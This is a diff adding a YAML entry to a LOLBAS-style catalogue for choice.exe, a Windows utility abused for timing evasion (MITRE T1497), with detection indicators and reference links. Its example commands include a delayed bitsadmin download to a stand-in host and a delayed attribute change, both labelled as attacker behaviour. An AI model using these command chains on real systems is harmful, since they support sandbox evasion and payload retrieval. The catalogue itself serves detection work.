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42 changes: 42 additions & 0 deletions choice.yml.txt
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Name: choice.exe
Description: Built-in Windows utility used for user input in batch scripts. While not malicious on its own, it has been observed in real-world malware command chains to introduce execution delays and control flow prior to file manipulation or payload retrieval.
Aliases:
- Alias: choice.com
Author: Prakash Munimsingh Thakur
Created: 2025-12-20
Commands:
- Command: echo Waiting & choice /t 8 /d Y >nul & bitsadmin /transfer job https://example.com/test.txt C:\Temp\test.txt
Description: Introduces a silent execution delay before downloading a file using a trusted Windows binary.
Usecase: Used by attackers to evade sandbox analysis and delay payload retrieval.
Category: Defense Evasion
Privileges: User
MitreID: T1497
OperatingSystem: Windows 10, Windows 11
Tags:
- Technique: Timing Evasion
- Behavior: Execution Flow Control

- Command: choice /t 10 /d Y >nul & attrib -h "C:\Users\Public\test.txt"
Description: Uses a silent delay before manipulating file attributes, similar to behavior observed in ransomware cleanup stages.
Usecase: Helps attackers hide or modify files after execution while delaying analysis.
Category: Defense Evasion
Privileges: User
MitreID: T1497
OperatingSystem: Windows 10, Windows 11

Full_Path:
- Path: C:\Windows\System32\choice.exe

Detection:
- IOC: choice.exe followed by file manipulation or network-enabled LOLBins
- IOC: Unusual execution delays in batch scripts
- Analysis: https://attack.mitre.org/techniques/T1497/

Resources:
- Link: https://www.sentinelone.com/labs/wastedlocker-ransomware-abusing-ads-and-ntfs-file-attributes/
- Link: https://attack.mitre.org/techniques/T1497/
- Link: https://research.splunk.com/endpoint/d5f54b38-10bf-4b3a-b6fc-85949862ed50/

Acknowledgement:
- Person: Prakash Munimsingh Thakur
Handle: 'https://github.com/4renSick/'